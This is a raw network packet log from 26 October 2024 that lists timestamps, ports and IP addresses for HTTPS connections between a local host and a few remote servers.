Oct 26, 2024 13:45:55.534595013 CEST	443	49729	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.534651995 CEST	49729	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.534810066 CEST	49729	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.534837008 CEST	443	49729	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.534847975 CEST	49729	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.534854889 CEST	443	49729	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.537971020 CEST	49738	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.538021088 CEST	443	49738	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.538192987 CEST	49738	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.538697958 CEST	49738	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.538722992 CEST	443	49738	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.758481979 CEST	443	49732	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.771059990 CEST	443	49733	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.773134947 CEST	443	49734	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.777806044 CEST	49732	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.777841091 CEST	443	49732	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.777942896 CEST	49734	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.777962923 CEST	443	49734	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.778117895 CEST	49733	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.778146029 CEST	443	49733	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.778397083 CEST	49734	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.778407097 CEST	443	49734	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.778661966 CEST	49732	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.778670073 CEST	443	49732	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.778780937 CEST	49733	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.778793097 CEST	443	49733	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.816323996 CEST	443	49735	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.861495018 CEST	49735	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.903487921 CEST	443	49732	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.903573036 CEST	443	49732	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.903669119 CEST	49732	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.905226946 CEST	443	49733	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.905419111 CEST	443	49733	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.905483007 CEST	49733	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.906208038 CEST	443	49734	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.906423092 CEST	443	49734	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.909136057 CEST	49734	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.054727077 CEST	49735	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.054774046 CEST	443	49735	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.055217028 CEST	49735	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.055227041 CEST	443	49735	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.075119972 CEST	49732	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.075165987 CEST	443	49732	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.075184107 CEST	49732	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.075191975 CEST	443	49732	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.076106071 CEST	49733	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.076122999 CEST	49734	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.076122999 CEST	49734	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.076138973 CEST	443	49734	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.076145887 CEST	443	49733	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.076148987 CEST	443	49734	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.076164007 CEST	49733	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.076170921 CEST	443	49733	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.103148937 CEST	49739	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.103198051 CEST	443	49739	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.103359938 CEST	49739	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.108406067 CEST	49740	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.108458042 CEST	443	49740	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.108571053 CEST	49740	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.110336065 CEST	49741	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.110393047 CEST	443	49741	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.110511065 CEST	49741	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.110819101 CEST	49739	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.110845089 CEST	443	49739	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.116241932 CEST	49740	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.116266012 CEST	443	49740	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.116378069 CEST	49741	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.116400957 CEST	443	49741	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.307625055 CEST	443	49735	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.307857037 CEST	443	49735	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.307934999 CEST	49735	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.322880983 CEST	49735	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.322911024 CEST	443	49735	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.322942019 CEST	49735	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.322948933 CEST	443	49735	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.324327946 CEST	443	49738	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.376177073 CEST	49738	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.376204967 CEST	443	49738	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.378119946 CEST	49738	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.378124952 CEST	443	49738	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.386240959 CEST	49742	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.386281013 CEST	443	49742	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.386455059 CEST	49742	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.386739016 CEST	49742	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.386759043 CEST	443	49742	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.505255938 CEST	443	49738	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.505336046 CEST	443	49738	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.505502939 CEST	49738	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.505999088 CEST	49738	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.506021976 CEST	443	49738	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.506036043 CEST	49738	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.506042957 CEST	443	49738	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.538795948 CEST	49743	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.538849115 CEST	443	49743	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.539040089 CEST	49743	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.560545921 CEST	49743	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.560564995 CEST	443	49743	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.937733889 CEST	443	49739	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.938137054 CEST	443	49741	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.939074039 CEST	49739	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.939105034 CEST	443	49739	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.939961910 CEST	49739	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.939979076 CEST	443	49739	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.940395117 CEST	49741	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.940409899 CEST	443	49741	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.940917015 CEST	49741	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.940922022 CEST	443	49741	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.955184937 CEST	443	49740	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.955807924 CEST	49740	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.955827951 CEST	443	49740	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:56.956330061 CEST	49740	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:56.956338882 CEST	443	49740	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.069004059 CEST	443	49739	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.069191933 CEST	443	49739	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.069259882 CEST	49739	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.069360018 CEST	49739	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.069381952 CEST	443	49739	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.069397926 CEST	49739	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.069403887 CEST	443	49739	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.070939064 CEST	443	49741	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.071043968 CEST	443	49741	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.071098089 CEST	49741	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.072135925 CEST	49744	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.072171926 CEST	443	49744	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.072252035 CEST	49744	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.072372913 CEST	49741	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.072396040 CEST	443	49741	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.072411060 CEST	49741	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.072417021 CEST	443	49741	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.075768948 CEST	49745	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.075829983 CEST	443	49745	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.075891972 CEST	49745	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.076271057 CEST	49744	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.076297998 CEST	443	49744	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.076487064 CEST	49745	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.076508045 CEST	443	49745	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.089229107 CEST	443	49740	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.089482069 CEST	443	49740	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.089550018 CEST	49740	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.089724064 CEST	49740	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.089744091 CEST	443	49740	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.089778900 CEST	49740	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.089786053 CEST	443	49740	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.094074011 CEST	49746	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.094132900 CEST	443	49746	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.094261885 CEST	49746	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.094438076 CEST	49746	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.094449997 CEST	443	49746	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.132735968 CEST	443	49742	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.133246899 CEST	49742	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.133271933 CEST	443	49742	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.133759975 CEST	49742	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.133768082 CEST	443	49742	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.262808084 CEST	443	49742	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.262923956 CEST	443	49742	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.263057947 CEST	49742	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.263171911 CEST	49742	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.263195992 CEST	443	49742	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.263232946 CEST	49742	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.263241053 CEST	443	49742	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.267191887 CEST	49747	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.267232895 CEST	443	49747	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.267420053 CEST	49747	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.267863035 CEST	49747	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.267887115 CEST	443	49747	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.318948030 CEST	443	49743	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.319370031 CEST	49743	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.319410086 CEST	443	49743	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.319797039 CEST	49743	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.319803953 CEST	443	49743	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.451757908 CEST	443	49743	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.451853037 CEST	443	49743	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.451999903 CEST	49743	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.454145908 CEST	49743	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.454183102 CEST	443	49743	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.468617916 CEST	49749	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.468655109 CEST	443	49749	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.468708992 CEST	49749	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.469187021 CEST	49749	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.469202042 CEST	443	49749	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.797024965 CEST	443	49745	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.797566891 CEST	49745	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.797602892 CEST	443	49745	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.798197985 CEST	49745	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.798207998 CEST	443	49745	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.815618992 CEST	443	49746	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.816548109 CEST	49746	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.816565037 CEST	443	49746	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.817092896 CEST	49746	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.817099094 CEST	443	49746	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.832452059 CEST	443	49744	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.832887888 CEST	49744	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.832896948 CEST	443	49744	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.833317995 CEST	49744	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.833322048 CEST	443	49744	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.927257061 CEST	443	49745	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.927536964 CEST	443	49745	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.927920103 CEST	49745	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.928086042 CEST	49745	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.928106070 CEST	443	49745	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.928117990 CEST	49745	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.928122997 CEST	443	49745	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.931672096 CEST	49751	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.931725025 CEST	443	49751	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.931850910 CEST	49751	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.932306051 CEST	49751	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.932322979 CEST	443	49751	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.944052935 CEST	443	49746	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.944614887 CEST	443	49746	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.944705963 CEST	49746	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.944894075 CEST	49746	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.944917917 CEST	443	49746	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.944932938 CEST	49746	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.944938898 CEST	443	49746	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.947751999 CEST	49752	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.947798967 CEST	443	49752	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.948712111 CEST	49752	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.948812962 CEST	49752	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.948827982 CEST	443	49752	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.965672016 CEST	443	49744	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.965784073 CEST	443	49744	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.965837002 CEST	49744	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.965960979 CEST	49744	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.965980053 CEST	443	49744	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.965992928 CEST	49744	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.965998888 CEST	443	49744	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.969036102 CEST	49753	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.969149113 CEST	443	49753	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:57.969249964 CEST	49753	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.969391108 CEST	49753	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:57.969423056 CEST	443	49753	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.020231009 CEST	443	49747	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.020797014 CEST	49747	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.020828962 CEST	443	49747	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.021684885 CEST	49747	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.021691084 CEST	443	49747	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.152937889 CEST	443	49747	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.153059006 CEST	443	49747	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.153171062 CEST	49747	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.153619051 CEST	49747	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.153647900 CEST	443	49747	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.153665066 CEST	49747	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.153677940 CEST	443	49747	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.160307884 CEST	49754	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.160362005 CEST	443	49754	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.160468102 CEST	49754	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.161101103 CEST	49754	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.161128998 CEST	443	49754	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.219116926 CEST	443	49749	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.222301960 CEST	49749	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.222327948 CEST	443	49749	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.222728968 CEST	49749	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.222744942 CEST	443	49749	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.352763891 CEST	443	49749	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.352849007 CEST	443	49749	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.352895975 CEST	49749	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.355909109 CEST	49749	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.355909109 CEST	49749	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.355937004 CEST	443	49749	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.355951071 CEST	443	49749	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.361471891 CEST	49755	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.361571074 CEST	443	49755	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.361648083 CEST	49755	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.362557888 CEST	49755	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.362595081 CEST	443	49755	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.539637089 CEST	49676	443	192.168.2.9	23.206.229.209
Oct 26, 2024 13:45:58.539743900 CEST	49675	443	192.168.2.9	23.206.229.209
Oct 26, 2024 13:45:58.685637951 CEST	443	49751	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.686312914 CEST	49751	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.686327934 CEST	443	49751	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.688247919 CEST	49751	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.688271046 CEST	443	49751	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.694413900 CEST	443	49752	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.694730997 CEST	49752	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.694741964 CEST	443	49752	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.695122004 CEST	49752	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.695126057 CEST	443	49752	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.720752001 CEST	443	49753	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.721271038 CEST	49753	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.721338987 CEST	443	49753	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.721654892 CEST	49753	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.721669912 CEST	443	49753	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.777127028 CEST	49756	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:45:58.777160883 CEST	443	49756	142.250.184.228	192.168.2.9
Oct 26, 2024 13:45:58.777370930 CEST	49756	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:45:58.777561903 CEST	49756	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:45:58.777574062 CEST	443	49756	142.250.184.228	192.168.2.9
Oct 26, 2024 13:45:58.789666891 CEST	49674	443	192.168.2.9	23.206.229.209
Oct 26, 2024 13:45:58.821181059 CEST	443	49751	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.821254015 CEST	443	49751	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.821346045 CEST	49751	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.821758032 CEST	49751	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.821758032 CEST	49751	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.821774006 CEST	443	49751	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.821783066 CEST	443	49751	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.824568033 CEST	49757	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.824615002 CEST	443	49757	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.824697018 CEST	49757	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.826714993 CEST	443	49752	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.827173948 CEST	49757	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.827189922 CEST	443	49757	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.827337980 CEST	443	49752	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.827434063 CEST	49752	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.827528954 CEST	49752	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.827548981 CEST	443	49752	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.827559948 CEST	49752	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.827565908 CEST	443	49752	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.829855919 CEST	49758	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.829890966 CEST	443	49758	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.829946995 CEST	49758	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.830113888 CEST	49758	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.830123901 CEST	443	49758	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.854041100 CEST	443	49753	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.854165077 CEST	443	49753	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.854229927 CEST	49753	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.854559898 CEST	49753	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.854559898 CEST	49753	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.854608059 CEST	443	49753	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.854635000 CEST	443	49753	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.857270956 CEST	49759	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.857321024 CEST	443	49759	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.857429981 CEST	49759	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.857616901 CEST	49759	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.857635021 CEST	443	49759	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.896997929 CEST	443	49754	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.897397995 CEST	49754	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.897424936 CEST	443	49754	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:58.897867918 CEST	49754	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:58.897877932 CEST	443	49754	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.027527094 CEST	443	49754	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.027622938 CEST	443	49754	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.027668953 CEST	49754	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.027908087 CEST	49754	443	192.168.2.9	13.107.246.42
